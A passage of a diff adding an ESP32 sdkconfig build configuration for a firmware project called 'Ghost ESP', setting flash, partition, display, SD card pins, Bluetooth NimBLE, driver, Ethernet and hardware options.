+CONFIG_ESP_ROM_HAS_JPEG_DECODE=y +CONFIG_ESP_ROM_HAS_UART_BUF_SWITCH=y +CONFIG_ESP_ROM_NEEDS_SWSETUP_WORKAROUND=y +CONFIG_ESP_ROM_HAS_NEWLIB=y +CONFIG_ESP_ROM_HAS_NEWLIB_NANO_FORMAT=y +CONFIG_ESP_ROM_HAS_NEWLIB_32BIT_TIME=y +CONFIG_ESP_ROM_HAS_SW_FLOAT=y +CONFIG_ESP_ROM_USB_OTG_NUM=-1 +CONFIG_ESP_ROM_USB_SERIAL_DEVICE_NUM=-1 +CONFIG_ESP_ROM_SUPPORT_DEEP_SLEEP_WAKEUP_STUB=y + +# +# Serial flasher config +# +# CONFIG_ESPTOOLPY_NO_STUB is not set +# CONFIG_ESPTOOLPY_FLASHMODE_QIO is not set +# CONFIG_ESPTOOLPY_FLASHMODE_QOUT is not set +CONFIG_ESPTOOLPY_FLASHMODE_DIO=y +# CONFIG_ESPTOOLPY_FLASHMODE_DOUT is not set +CONFIG_ESPTOOLPY_FLASH_SAMPLE_MODE_STR=y +CONFIG_ESPTOOLPY_FLASHMODE="dio" +CONFIG_ESPTOOLPY_FLASHFREQ_80M=y +# CONFIG_ESPTOOLPY_FLASHFREQ_40M is not set +# CONFIG_ESPTOOLPY_FLASHFREQ_26M is not set +# CONFIG_ESPTOOLPY_FLASHFREQ_20M is not set +CONFIG_ESPTOOLPY_FLASHFREQ="80m" +# CONFIG_ESPTOOLPY_FLASHSIZE_1MB is not set +# CONFIG_ESPTOOLPY_FLASHSIZE_2MB is not set +CONFIG_ESPTOOLPY_FLASHSIZE_4MB=y +# CONFIG_ESPTOOLPY_FLASHSIZE_8MB is not set +# CONFIG_ESPTOOLPY_FLASHSIZE_16MB is not set +# CONFIG_ESPTOOLPY_FLASHSIZE_32MB is not set +# CONFIG_ESPTOOLPY_FLASHSIZE_64MB is not set +# CONFIG_ESPTOOLPY_FLASHSIZE_128MB is not set +CONFIG_ESPTOOLPY_FLASHSIZE="4MB" +# CONFIG_ESPTOOLPY_HEADER_FLASHSIZE_UPDATE is not set +CONFIG_ESPTOOLPY_BEFORE_RESET=y +# CONFIG_ESPTOOLPY_BEFORE_NORESET is not set +CONFIG_ESPTOOLPY_BEFORE="default_reset" +CONFIG_ESPTOOLPY_AFTER_RESET=y +# CONFIG_ESPTOOLPY_AFTER_NORESET is not set +CONFIG_ESPTOOLPY_AFTER="hard_reset" +CONFIG_ESPTOOLPY_MONITOR_BAUD=115200 +# end of Serial flasher config + +# +# Partition Table +# +# CONFIG_PARTITION_TABLE_SINGLE_APP is not set +# CONFIG_PARTITION_TABLE_SINGLE_APP_LARGE is not set +# CONFIG_PARTITION_TABLE_TWO_OTA is not set +CONFIG_PARTITION_TABLE_CUSTOM=y +CONFIG_PARTITION_TABLE_CUSTOM_FILENAME="partitions.csv" +CONFIG_PARTITION_TABLE_FILENAME="partitions.csv" +CONFIG_PARTITION_TABLE_OFFSET=0x8000 +CONFIG_PARTITION_TABLE_MD5=y +# end of Partition Table + +# +# Ghost ESP Options +# + +# +# LED Options +# +# CONFIG_USE_NEOPIXEL is not set +CONFIG_NUM_LEDS=1 +CONFIG_RED_RGB_PIN=4 +CONFIG_GREEN_RGB_PIN=16 +CONFIG_BLUE_RGB_PIN=17 +# end of LED Options + +# +# Display Options +# +CONFIG_WITH_SCREEN=y +CONFIG_TFT_WIDTH=240 +CONFIG_TFT_HEIGHT=320 +CONFIG_USE_TOUCHSCREEN=y +# CONFIG_USE_JOYSTICK is not set +# CONFIG_USE_CARDPUTER is not set +# CONFIG_USE_7_INCHER is not set +# CONFIG_Waveshare_LCD is not set +# CONFIG_Crowtech_LCD is not set +# CONFIG_Sunton_LCD is not set +# CONFIG_USE_ILI9341_2 is not set +# CONFIG_HAS_BATTERY is not set +# CONFIG_HAS_RTC_CLOCK is not set +# end of Display Options + +# +# Ghost Board Config +# +# CONFIG_IS_GHOST_BOARD is not set +# end of Ghost Board Config + +# +# GPS Configuration +# +# CONFIG_HAS_GPS is not set + +# +# NMEA Statement Support +# + +# +# At least one statement must be selected +# +# end of NMEA Statement Support +# end of GPS Configuration + +# +# SPI and MMC Configuration +# +CONFIG_USING_SPI=y +# CONFIG_USING_MMC is not set +CONFIG_SD_SPI_CS_PIN=5 +CONFIG_SD_SPI_CLK_PIN=18 +CONFIG_SD_SPI_MISO_PIN=19 +CONFIG_SD_SPI_MOSI_PIN=23 +# end of SPI and MMC Configuration +# end of Ghost ESP Options + +# +# Compiler options +# +# CONFIG_COMPILER_OPTIMIZATION_DEBUG is not set +CONFIG_COMPILER_OPTIMIZATION_SIZE=y +# CONFIG_COMPILER_OPTIMIZATION_PERF is not set +# CONFIG_COMPILER_OPTIMIZATION_NONE is not set +CONFIG_COMPILER_OPTIMIZATION_ASSERTIONS_ENABLE=y +# CONFIG_COMPILER_OPTIMIZATION_ASSERTIONS_SILENT is not set +# CONFIG_COMPILER_OPTIMIZATION_ASSERTIONS_DISABLE is not set +CONFIG_COMPILER_FLOAT_LIB_FROM_GCCLIB=y +CONFIG_COMPILER_OPTIMIZATION_ASSERTION_LEVEL=2 +# CONFIG_COMPILER_OPTIMIZATION_CHECKS_SILENT is not set +CONFIG_COMPILER_HIDE_PATHS_MACROS=y +# CONFIG_COMPILER_CXX_EXCEPTIONS is not set +# CONFIG_COMPILER_CXX_RTTI is not set +CONFIG_COMPILER_STACK_CHECK_MODE_NONE=y +# CONFIG_COMPILER_STACK_CHECK_MODE_NORM is not set +# CONFIG_COMPILER_STACK_CHECK_MODE_STRONG is not set +# CONFIG_COMPILER_STACK_CHECK_MODE_ALL is not set +# CONFIG_COMPILER_WARN_WRITE_STRINGS is not set +# CONFIG_COMPILER_DISABLE_GCC12_WARNINGS is not set +# CONFIG_COMPILER_DISABLE_GCC13_WARNINGS is not set +# CONFIG_COMPILER_DUMP_RTL_FILES is not set +CONFIG_COMPILER_RT_LIB_GCCLIB=y +CONFIG_COMPILER_RT_LIB_NAME="gcc" +# CONFIG_COMPILER_ORPHAN_SECTIONS_WARNING is not set +CONFIG_COMPILER_ORPHAN_SECTIONS_PLACE=y +# end of Compiler options + +# +# Component config +# + +# +# Application Level Tracing +# +# CONFIG_APPTRACE_DEST_JTAG is not set +CONFIG_APPTRACE_DEST_NONE=y +# CONFIG_APPTRACE_DEST_UART1 is not set +# CONFIG_APPTRACE_DEST_UART2 is not set +CONFIG_APPTRACE_DEST_UART_NONE=y +CONFIG_APPTRACE_UART_TASK_PRIO=1 +CONFIG_APPTRACE_LOCK_ENABLE=y +# end of Application Level Tracing + +# +# Bluetooth +# +CONFIG_BT_ENABLED=y +# CONFIG_BT_BLUEDROID_ENABLED is not set +CONFIG_BT_NIMBLE_ENABLED=y +# CONFIG_BT_CONTROLLER_ONLY is not set +CONFIG_BT_CONTROLLER_ENABLED=y +# CONFIG_BT_CONTROLLER_DISABLED is not set + +# +# NimBLE Options +# +CONFIG_BT_NIMBLE_MEM_ALLOC_MODE_INTERNAL=y +# CONFIG_BT_NIMBLE_MEM_ALLOC_MODE_DEFAULT is not set +# CONFIG_BT_NIMBLE_LOG_LEVEL_NONE is not set +# CONFIG_BT_NIMBLE_LOG_LEVEL_ERROR is not set +# CONFIG_BT_NIMBLE_LOG_LEVEL_WARNING is not set +CONFIG_BT_NIMBLE_LOG_LEVEL_INFO=y +# CONFIG_BT_NIMBLE_LOG_LEVEL_DEBUG is not set +CONFIG_BT_NIMBLE_LOG_LEVEL=1 +CONFIG_BT_NIMBLE_MAX_CONNECTIONS=3 +CONFIG_BT_NIMBLE_MAX_BONDS=3 +CONFIG_BT_NIMBLE_MAX_CCCDS=8 +CONFIG_BT_NIMBLE_L2CAP_COC_MAX_NUM=0 +CONFIG_BT_NIMBLE_PINNED_TO_CORE=0 +CONFIG_BT_NIMBLE_HOST_TASK_STACK_SIZE=4096 +CONFIG_BT_NIMBLE_ROLE_CENTRAL=y +CONFIG_BT_NIMBLE_ROLE_PERIPHERAL=y +CONFIG_BT_NIMBLE_ROLE_BROADCASTER=y +CONFIG_BT_NIMBLE_ROLE_OBSERVER=y +# CONFIG_BT_NIMBLE_NVS_PERSIST is not set +# CONFIG_BT_NIMBLE_SMP_ID_RESET is not set +CONFIG_BT_NIMBLE_SECURITY_ENABLE=y +CONFIG_BT_NIMBLE_SM_LEGACY=y +CONFIG_BT_NIMBLE_SM_SC=y +# CONFIG_BT_NIMBLE_SM_SC_DEBUG_KEYS is not set +CONFIG_BT_NIMBLE_LL_CFG_FEAT_LE_ENCRYPTION=y +CONFIG_BT_NIMBLE_SM_LVL=0 +# CONFIG_BT_NIMBLE_DEBUG is not set +# CONFIG_BT_NIMBLE_DYNAMIC_SERVICE is not set +CONFIG_BT_NIMBLE_SVC_GAP_DEVICE_NAME="nimble" +CONFIG_BT_NIMBLE_GAP_DEVICE_NAME_MAX_LEN=31 +CONFIG_BT_NIMBLE_ATT_PREFERRED_MTU=256 +CONFIG_BT_NIMBLE_SVC_GAP_APPEARANCE=0 + +# +# Memory Settings +# +CONFIG_BT_NIMBLE_MSYS_1_BLOCK_COUNT=12 +CONFIG_BT_NIMBLE_MSYS_1_BLOCK_SIZE=256 +CONFIG_BT_NIMBLE_MSYS_2_BLOCK_COUNT=24 +CONFIG_BT_NIMBLE_MSYS_2_BLOCK_SIZE=320 +CONFIG_BT_NIMBLE_TRANSPORT_ACL_FROM_LL_COUNT=24 +CONFIG_BT_NIMBLE_TRANSPORT_ACL_SIZE=255 +CONFIG_BT_NIMBLE_TRANSPORT_EVT_SIZE=70 +CONFIG_BT_NIMBLE_TRANSPORT_EVT_COUNT=30 +CONFIG_BT_NIMBLE_TRANSPORT_EVT_DISCARD_COUNT=8 +CONFIG_BT_NIMBLE_L2CAP_COC_SDU_BUFF_COUNT=1 +# end of Memory Settings + +CONFIG_BT_NIMBLE_GATT_MAX_PROCS=4 +CONFIG_BT_NIMBLE_HS_FLOW_CTRL=y +CONFIG_BT_NIMBLE_HS_FLOW_CTRL_ITVL=1000 +CONFIG_BT_NIMBLE_HS_FLOW_CTRL_THRESH=2 +CONFIG_BT_NIMBLE_HS_FLOW_CTRL_TX_ON_DISCONNECT=y +CONFIG_BT_NIMBLE_RPA_TIMEOUT=900 +# CONFIG_BT_NIMBLE_MESH is not set +CONFIG_BT_NIMBLE_CRYPTO_STACK_MBEDTLS=y +CONFIG_BT_NIMBLE_HS_STOP_TIMEOUT_MS=2000 +# CONFIG_BT_NIMBLE_HOST_BASED_PRIVACY is not set +# CONFIG_BT_NIMBLE_ENABLE_CONN_REATTEMPT is not set +CONFIG_BT_NIMBLE_WHITELIST_SIZE=12 +# CONFIG_BT_NIMBLE_TEST_THROUGHPUT_TEST is not set +# CONFIG_BT_NIMBLE_BLUFI_ENABLE is not set +CONFIG_BT_NIMBLE_USE_ESP_TIMER=y +CONFIG_BT_NIMBLE_LEGACY_VHCI_ENABLE=y +# CONFIG_BT_NIMBLE_BLE_GATT_BLOB_TRANSFER is not set + +# +# GAP Service +# + +# +# GAP Appearance write permissions +# +# CONFIG_BT_NIMBLE_SVC_GAP_APPEAR_WRITE is not set +# end of GAP Appearance write permissions + +CONFIG_BT_NIMBLE_SVC_GAP_APPEAR_WRITE_PERM=0 +CONFIG_BT_NIMBLE_SVC_GAP_APPEAR_WRITE_PERM_ENC=0 +CONFIG_BT_NIMBLE_SVC_GAP_APPEAR_WRITE_PERM_ATHN=0 +CONFIG_BT_NIMBLE_SVC_GAP_APPEAR_WRITE_PERM_ATHR=0 +CONFIG_BT_NIMBLE_SVC_GAP_CAR_CHAR_NOT_SUPP=y +# CONFIG_BT_NIMBLE_SVC_GAP_CAR_NOT_SUPP is not set +# CONFIG_BT_NIMBLE_SVC_GAP_CAR_SUPP is not set +CONFIG_BT_NIMBLE_SVC_GAP_CENT_ADDR_RESOLUTION=-1 + +# +# GAP device name write permissions +# +# CONFIG_BT_NIMBLE_SVC_GAP_NAME_WRITE is not set +# end of GAP device name write permissions + +CONFIG_BT_NIMBLE_SVC_GAP_NAME_WRITE_PERM=0 +CONFIG_BT_NIMBLE_SVC_GAP_NAME_WRITE_PERM_ENC=0 +CONFIG_BT_NIMBLE_SVC_GAP_NAME_WRITE_PERM_AUTHEN=0 +CONFIG_BT_NIMBLE_SVC_GAP_NAME_WRITE_PERM_AUTHOR=0 +CONFIG_BT_NIMBLE_SVC_GAP_PPCP_MAX_CONN_INTERVAL=0 +CONFIG_BT_NIMBLE_SVC_GAP_PPCP_MIN_CONN_INTERVAL=0 +CONFIG_BT_NIMBLE_SVC_GAP_PPCP_SLAVE_LATENCY=0 +CONFIG_BT_NIMBLE_SVC_GAP_PPCP_SUPERVISION_TMO=0 +# end of GAP Service + +# +# BLE Services +# +# CONFIG_BT_NIMBLE_HID_SERVICE is not set +# end of BLE Services + +# CONFIG_BT_NIMBLE_VS_SUPPORT is not set +# CONFIG_BT_NIMBLE_ENC_ADV_DATA is not set +# CONFIG_BT_NIMBLE_HIGH_DUTY_ADV_ITVL is not set +# CONFIG_BT_NIMBLE_HOST_QUEUE_CONG_CHECK is not set + +# +# Host-controller Transport +# +CONFIG_UART_HW_FLOWCTRL_DISABLE=y +# CONFIG_UART_HW_FLOWCTRL_CTS_RTS is not set +CONFIG_BT_NIMBLE_HCI_UART_FLOW_CTRL=0 +CONFIG_BT_NIMBLE_HCI_UART_RTS_PIN=19 +CONFIG_BT_NIMBLE_HCI_UART_CTS_PIN=23 +# end of Host-controller Transport +# end of NimBLE Options + +# +# Controller Options +# +CONFIG_BTDM_CTRL_MODE_BLE_ONLY=y +# CONFIG_BTDM_CTRL_MODE_BR_EDR_ONLY is not set +# CONFIG_BTDM_CTRL_MODE_BTDM is not set +CONFIG_BTDM_CTRL_BLE_MAX_CONN=3 +CONFIG_BTDM_CTRL_BR_EDR_SCO_DATA_PATH_EFF=0 +CONFIG_BTDM_CTRL_PCM_ROLE_EFF=0 +CONFIG_BTDM_CTRL_PCM_POLAR_EFF=0 +CONFIG_BTDM_CTRL_BLE_MAX_CONN_EFF=3 +CONFIG_BTDM_CTRL_BR_EDR_MAX_ACL_CONN_EFF=0 +CONFIG_BTDM_CTRL_BR_EDR_MAX_SYNC_CONN_EFF=0 +CONFIG_BTDM_CTRL_PINNED_TO_CORE=0 +CONFIG_BTDM_CTRL_HCI_MODE_VHCI=y +# CONFIG_BTDM_CTRL_HCI_MODE_UART_H4 is not set + +# +# MODEM SLEEP Options +# +CONFIG_BTDM_CTRL_MODEM_SLEEP=y +CONFIG_BTDM_CTRL_MODEM_SLEEP_MODE_ORIG=y +# CONFIG_BTDM_CTRL_MODEM_SLEEP_MODE_EVED is not set +CONFIG_BTDM_CTRL_LPCLK_SEL_MAIN_XTAL=y +# end of MODEM SLEEP Options + +CONFIG_BTDM_BLE_DEFAULT_SCA_250PPM=y +CONFIG_BTDM_BLE_SLEEP_CLOCK_ACCURACY_INDEX_EFF=1 +CONFIG_BTDM_BLE_SCAN_DUPL=y +CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE=y +# CONFIG_BTDM_SCAN_DUPL_TYPE_DATA is not set +# CONFIG_BTDM_SCAN_DUPL_TYPE_DATA_DEVICE is not set +CONFIG_BTDM_SCAN_DUPL_TYPE=0 +CONFIG_BTDM_SCAN_DUPL_CACHE_SIZE=100 +CONFIG_BTDM_SCAN_DUPL_CACHE_REFRESH_PERIOD=0 +# CONFIG_BTDM_BLE_MESH_SCAN_DUPL_EN is not set +CONFIG_BTDM_CTRL_FULL_SCAN_SUPPORTED=y +# CONFIG_BTDM_CTRL_SCAN_BACKOFF_UPPERLIMITMAX is not set +CONFIG_BTDM_BLE_ADV_REPORT_FLOW_CTRL_SUPP=y +CONFIG_BTDM_BLE_ADV_REPORT_FLOW_CTRL_NUM=100 +CONFIG_BTDM_BLE_ADV_REPORT_DISCARD_THRSHOLD=20 +CONFIG_BTDM_RESERVE_DRAM=0xdb5c +CONFIG_BTDM_CTRL_HLI=y +# end of Controller Options + +# +# Common Options +# +CONFIG_BT_ALARM_MAX_NUM=50 +# end of Common Options + +# CONFIG_BT_HCI_LOG_DEBUG_EN is not set +# end of Bluetooth + +# CONFIG_BLE_MESH is not set + +# +# Console Library +# +# CONFIG_CONSOLE_SORTED_HELP is not set +# end of Console Library + +# +# Driver Configurations +# + +# +# TWAI Configuration +# +# CONFIG_TWAI_ISR_IN_IRAM is not set +CONFIG_TWAI_ERRATA_FIX_BUS_OFF_REC=y +CONFIG_TWAI_ERRATA_FIX_TX_INTR_LOST=y +CONFIG_TWAI_ERRATA_FIX_RX_FRAME_INVALID=y +CONFIG_TWAI_ERRATA_FIX_RX_FIFO_CORRUPT=y +CONFIG_TWAI_ERRATA_FIX_LISTEN_ONLY_DOM=y +# end of TWAI Configuration + +# +# Legacy ADC Driver Configuration +# +CONFIG_ADC_DISABLE_DAC=y +# CONFIG_ADC_SUPPRESS_DEPRECATE_WARN is not set + +# +# Legacy ADC Calibration Configuration +# +CONFIG_ADC_CAL_EFUSE_TP_ENABLE=y +CONFIG_ADC_CAL_EFUSE_VREF_ENABLE=y +CONFIG_ADC_CAL_LUT_ENABLE=y +# CONFIG_ADC_CALI_SUPPRESS_DEPRECATE_WARN is not set +# end of Legacy ADC Calibration Configuration +# end of Legacy ADC Driver Configuration + +# +# Legacy DAC Driver Configurations +# +# CONFIG_DAC_SUPPRESS_DEPRECATE_WARN is not set +# end of Legacy DAC Driver Configurations + +# +# Legacy MCPWM Driver Configurations +# +# CONFIG_MCPWM_SUPPRESS_DEPRECATE_WARN is not set +# end of Legacy MCPWM Driver Configurations + +# +# Legacy Timer Group Driver Configurations +# +# CONFIG_GPTIMER_SUPPRESS_DEPRECATE_WARN is not set +# end of Legacy Timer Group Driver Configurations + +# +# Legacy RMT Driver Configurations +# +# CONFIG_RMT_SUPPRESS_DEPRECATE_WARN is not set +# end of Legacy RMT Driver Configurations + +# +# Legacy I2S Driver Configurations +# +# CONFIG_I2S_SUPPRESS_DEPRECATE_WARN is not set +# end of Legacy I2S Driver Configurations + +# +# Legacy PCNT Driver Configurations +# +# CONFIG_PCNT_SUPPRESS_DEPRECATE_WARN is not set +# end of Legacy PCNT Driver Configurations + +# +# Legacy SDM Driver Configurations +# +# CONFIG_SDM_SUPPRESS_DEPRECATE_WARN is not set +# end of Legacy SDM Driver Configurations +# end of Driver Configurations + +# +# eFuse Bit Manager +# +# CONFIG_EFUSE_CUSTOM_TABLE is not set +# CONFIG_EFUSE_VIRTUAL is not set +# CONFIG_EFUSE_CODE_SCHEME_COMPAT_NONE is not set +CONFIG_EFUSE_CODE_SCHEME_COMPAT_3_4=y +# CONFIG_EFUSE_CODE_SCHEME_COMPAT_REPEAT is not set +CONFIG_EFUSE_MAX_BLK_LEN=192 +# end of eFuse Bit Manager + +# +# ESP-TLS +# +CONFIG_ESP_TLS_USING_MBEDTLS=y +# CONFIG_ESP_TLS_USE_SECURE_ELEMENT is not set +# CONFIG_ESP_TLS_CLIENT_SESSION_TICKETS is not set +# CONFIG_ESP_TLS_SERVER_SESSION_TICKETS is not set +# CONFIG_ESP_TLS_SERVER_CERT_SELECT_HOOK is not set +# CONFIG_ESP_TLS_SERVER_MIN_AUTH_MODE_OPTIONAL is not set +# CONFIG_ESP_TLS_PSK_VERIFICATION is not set +# CONFIG_ESP_TLS_INSECURE is not set +# end of ESP-TLS + +# +# ADC and ADC Calibration +# +# CONFIG_ADC_ONESHOT_CTRL_FUNC_IN_IRAM is not set +# CONFIG_ADC_CONTINUOUS_ISR_IRAM_SAFE is not set + +# +# ADC Calibration Configurations +# +CONFIG_ADC_CALI_EFUSE_TP_ENABLE=y +CONFIG_ADC_CALI_EFUSE_VREF_ENABLE=y +CONFIG_ADC_CALI_LUT_ENABLE=y +# end of ADC Calibration Configurations + +CONFIG_ADC_DISABLE_DAC_OUTPUT=y +# CONFIG_ADC_ENABLE_DEBUG_LOG is not set +# end of ADC and ADC Calibration + +# +# Wireless Coexistence +# +CONFIG_ESP_COEX_ENABLED=y +CONFIG_ESP_COEX_SW_COEXIST_ENABLE=y +# CONFIG_ESP_COEX_POWER_MANAGEMENT is not set +# end of Wireless Coexistence + +# +# Common ESP-related +# +CONFIG_ESP_ERR_TO_NAME_LOOKUP=y +# end of Common ESP-related + +# +# ESP-Driver:DAC Configurations +# +# CONFIG_DAC_CTRL_FUNC_IN_IRAM is not set +# CONFIG_DAC_ISR_IRAM_SAFE is not set +# CONFIG_DAC_ENABLE_DEBUG_LOG is not set +CONFIG_DAC_DMA_AUTO_16BIT_ALIGN=y +# end of ESP-Driver:DAC Configurations + +# +# ESP-Driver:GPIO Configurations +# +# CONFIG_GPIO_ESP32_SUPPORT_SWITCH_SLP_PULL is not set +# CONFIG_GPIO_CTRL_FUNC_IN_IRAM is not set +# end of ESP-Driver:GPIO Configurations + +# +# ESP-Driver:GPTimer Configurations +# +CONFIG_GPTIMER_ISR_HANDLER_IN_IRAM=y +# CONFIG_GPTIMER_CTRL_FUNC_IN_IRAM is not set +# CONFIG_GPTIMER_ISR_IRAM_SAFE is not set +# CONFIG_GPTIMER_ENABLE_DEBUG_LOG is not set +# end of ESP-Driver:GPTimer Configurations + +# +# ESP-Driver:I2C Configurations +# +# CONFIG_I2C_ISR_IRAM_SAFE is not set +# CONFIG_I2C_ENABLE_DEBUG_LOG is not set +# end of ESP-Driver:I2C Configurations + +# +# ESP-Driver:I2S Configurations +# +# CONFIG_I2S_ISR_IRAM_SAFE is not set +# CONFIG_I2S_ENABLE_DEBUG_LOG is not set +# end of ESP-Driver:I2S Configurations + +# +# ESP-Driver:LEDC Configurations +# +# CONFIG_LEDC_CTRL_FUNC_IN_IRAM is not set +# end of ESP-Driver:LEDC Configurations + +# +# ESP-Driver:MCPWM Configurations +# +# CONFIG_MCPWM_ISR_IRAM_SAFE is not set +# CONFIG_MCPWM_CTRL_FUNC_IN_IRAM is not set +# CONFIG_MCPWM_ENABLE_DEBUG_LOG is not set +# end of ESP-Driver:MCPWM Configurations + +# +# ESP-Driver:PCNT Configurations +# +# CONFIG_PCNT_CTRL_FUNC_IN_IRAM is not set +# CONFIG_PCNT_ISR_IRAM_SAFE is not set +# CONFIG_PCNT_ENABLE_DEBUG_LOG is not set +# end of ESP-Driver:PCNT Configurations + +# +# ESP-Driver:RMT Configurations +# +# CONFIG_RMT_ISR_IRAM_SAFE is not set +# CONFIG_RMT_RECV_FUNC_IN_IRAM is not set +# CONFIG_RMT_ENABLE_DEBUG_LOG is not set +# end of ESP-Driver:RMT Configurations + +# +# ESP-Driver:Sigma Delta Modulator Configurations +# +# CONFIG_SDM_CTRL_FUNC_IN_IRAM is not set +# CONFIG_SDM_ENABLE_DEBUG_LOG is not set +# end of ESP-Driver:Sigma Delta Modulator Configurations + +# +# ESP-Driver:SPI Configurations +# +CONFIG_SPI_MASTER_ISR_IN_IRAM=y +# CONFIG_SPI_SLAVE_IN_IRAM is not set +CONFIG_SPI_SLAVE_ISR_IN_IRAM=y +# end of ESP-Driver:SPI Configurations + +# +# ESP-Driver:Touch Sensor Configurations +# +# CONFIG_TOUCH_CTRL_FUNC_IN_IRAM is not set +# CONFIG_TOUCH_ISR_IRAM_SAFE is not set +# CONFIG_TOUCH_ENABLE_DEBUG_LOG is not set +# end of ESP-Driver:Touch Sensor Configurations + +# +# ESP-Driver:UART Configurations +# +# CONFIG_UART_ISR_IN_IRAM is not set +# end of ESP-Driver:UART Configurations + +# +# Ethernet +# +CONFIG_ETH_ENABLED=y +CONFIG_ETH_USE_ESP32_EMAC=y +CONFIG_ETH_PHY_INTERFACE_RMII=y +CONFIG_ETH_RMII_CLK_INPUT=y +# CONFIG_ETH_RMII_CLK_OUTPUT is not set +CONFIG_ETH_RMII_CLK_IN_GPIO=0 +CONFIG_ETH_DMA_BUFFER_SIZE=512 +CONFIG_ETH_DMA_RX_BUFFER_NUM=10 +CONFIG_ETH_DMA_TX_BUFFER_NUM=10 +# CONFIG_ETH_IRAM_OPTIMIZATION is not set +CONFIG_ETH_USE_SPI_ETHERNET=y +# CONFIG_ETH_SPI_ETHERNET_DM9051 is not set +# CONFIG_ETH_SPI_ETHERNET_W5500 is not set +# CONFIG_ETH_SPI_ETHERNET_KSZ8851SNL is not set +# CONFIG_ETH_USE_OPENETH is not set +# CONFIG_ETH_TRANSMIT_MUTEX is not set +# end of Ethernet + +# +# Event Loop Library +# +# CONFIG_ESP_EVENT_LOOP_PROFILING is not set +CONFIG_ESP_EVENT_POST_FROM_ISR=y +CONFIG_ESP_EVENT_POST_FROM_IRAM_ISR=y +# end of Event Loop Library + +# +# GDB Stub +# +CONFIG_ESP_GDBSTUB_ENABLED=y +# CONFIG_ESP_SYSTEM_GDBSTUB_RUNTIME is not set +CONFIG_ESP_GDBSTUB_SUPPORT_TASKS=y +CONFIG_ESP_GDBSTUB_MAX_TASKS=32 +# end of GDB Stub + +# +# ESP HTTP client +# +CONFIG_ESP_HTTP_CLIENT_ENABLE_HTTPS=y +# CONFIG_ESP_HTTP_CLIENT_ENABLE_BASIC_AUTH is not set +# CONFIG_ESP_HTTP_CLIENT_ENABLE_DIGEST_AUTH is not set +# CONFIG_ESP_HTTP_CLIENT_ENABLE_CUSTOM_TRANSPORT is not set +# end of ESP HTTP client + +# +# HTTP Server +# +CONFIG_HTTPD_MAX_REQ_HDR_LEN=512 +CONFIG_HTTPD_MAX_URI_LEN=512 +CONFIG_HTTPD_ERR_RESP_NO_DELAY=y +CONFIG_HTTPD_PURGE_BUF_LEN=32 +# CONFIG_HTTPD_LOG_PURGE_DATA is not set +# CONFIG_HTTPD_WS_SUPPORT is not set +# CONFIG_HTTPD_QUEUE_WORK_BLOCKING is not set +# end of HTTP Server + +# +# ESP HTTPS OTA +# +# CONFIG_ESP_HTTPS_OTA_DECRYPT_CB is not set +# CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP is not set +# end of ESP HTTPS OTA + +# +# ESP HTTPS server +# +# CONFIG_ESP_HTTPS_SERVER_ENABLE is not set +# end of ESP HTTPS server + +# +# Hardware Settings +# + +# +# Chip revision +# +CONFIG_ESP32_REV_MIN_0=y +# CONFIG_ESP32_REV_MIN_1 is not set +# CONFIG_ESP32_REV_MIN_1_1 is not set +# CONFIG_ESP32_REV_MIN_2 is not set +# CONFIG_ESP32_REV_MIN_3 is not set +# CONFIG_ESP32_REV_MIN_3_1 is not set +CONFIG_ESP32_REV_MIN=0 +CONFIG_ESP32_REV_MIN_FULL=0 +CONFIG_ESP_REV_MIN_FULL=0 + +# +# Maximum Supported ESP32 Revision (Rev v3.99) +# +CONFIG_ESP32_REV_MAX_FULL=399 +CONFIG_ESP_REV_MAX_FULL=399 +# end of Chip revision + +# +# MAC Config +# +CONFIG_ESP_MAC_ADDR_UNIVERSE_WIFI_STA=y +CONFIG_ESP_MAC_ADDR_UNIVERSE_WIFI_AP=y +CONFIG_ESP_MAC_ADDR_UNIVERSE_BT=y +CONFIG_ESP_MAC_ADDR_UNIVERSE_ETH=y +CONFIG_ESP_MAC_UNIVERSAL_MAC_ADDRESSES_FOUR=y +CONFIG_ESP_MAC_UNIVERSAL_MAC_ADDRESSES=4 +# CONFIG_ESP32_UNIVERSAL_MAC_ADDRESSES_TWO is not set +CONFIG_ESP32_UNIVERSAL_MAC_ADDRESSES_FOUR=y +CONFIG_ESP32_UNIVERSAL_MAC_ADDRESSES=4 +# CONFIG_ESP_MAC_IGNORE_MAC_CRC_ERROR is not set +# CONFIG_ESP_MAC_USE_CUSTOM_MAC_AS_BASE_MAC is not set +# end of MAC Config + +# +# Sleep Config +# +# CONFIG_ESP_SLEEP_POWER_DOWN_FLASH is not set +CONFIG_ESP_SLEEP_FLASH_LEAKAGE_WORKAROUND=y +# CONFIG_ESP_SLEEP_MSPI_NEED_ALL_IO_PU is not set +CONFIG_ESP_SLEEP_RTC_BUS_ISO_WORKAROUND=y +CONFIG_ESP_SLEEP_GPIO_RESET_WORKAROUND=y +CONFIG_ESP_SLEEP_WAIT_FLASH_READY_EXTRA_DELAY=0 +# CONFIG_ESP_SLEEP_CACHE_SAFE_ASSERTION is not set +# CONFIG_ESP_SLEEP_DEBUG is not set +CONFIG_ESP_SLEEP_GPIO_ENABLE_INTERNAL_RESISTORS=y +# end of Sleep Config + +# +# RTC Clock Config +# +CONFIG_RTC_CLK_SRC_INT_RC=y +# CONFIG_RTC_CLK_SRC_EXT_CRYS is not set +# CONFIG_RTC_CLK_SRC_EXT_OSC is not set +# CONFIG_RTC_CLK_SRC_INT_8MD256 is not set +CONFIG_RTC_CLK_CAL_CYCLES=1024 +# end of RTC Clock Config + +# +# Peripheral Control +# +CONFIG_PERIPH_CTRL_FUNC_IN_IRAM=y +# end of Peripheral Control + +# +# Main XTAL Config +# +# CONFIG_XTAL_FREQ_26 is not set +CONFIG_XTAL_FREQ_40=y +# CONFIG_XTAL_FREQ_AUTO is not set +CONFIG_XTAL_FREQ=40 +# end of Main XTAL Config + +CONFIG_ESP_SPI_BUS_LOCK_ISR_FUNCS_IN_IRAM=y +# end of Hardware Settings + +# +# LCD and Touch Panel +# + +# +# LCD Touch Drivers are maintained in the IDF Component Registry +# + +# +# LCD Peripheral Configuration +# +CONFIG_LCD_PANEL_IO_FORMAT_BUF_SIZE=32 +# CONFIG_LCD_ENABLE_DEBUG_LOG is not set +# end of LCD Peripheral Configuration +# end of LCD and Touch Panel + +# +# ESP NETIF Adapter +# +CONFIG_ESP_NETIF_IP_LOST_TIMER_INTERVAL=120 +CONFIG_ESP_NETIF_TCPIP_LWIP=y +# CONFIG_ESP_NETIF_LOOPBACK is not set +CONFIG_ESP_NETIF_USES_TCPIP_WITH_BSD_API=y +# 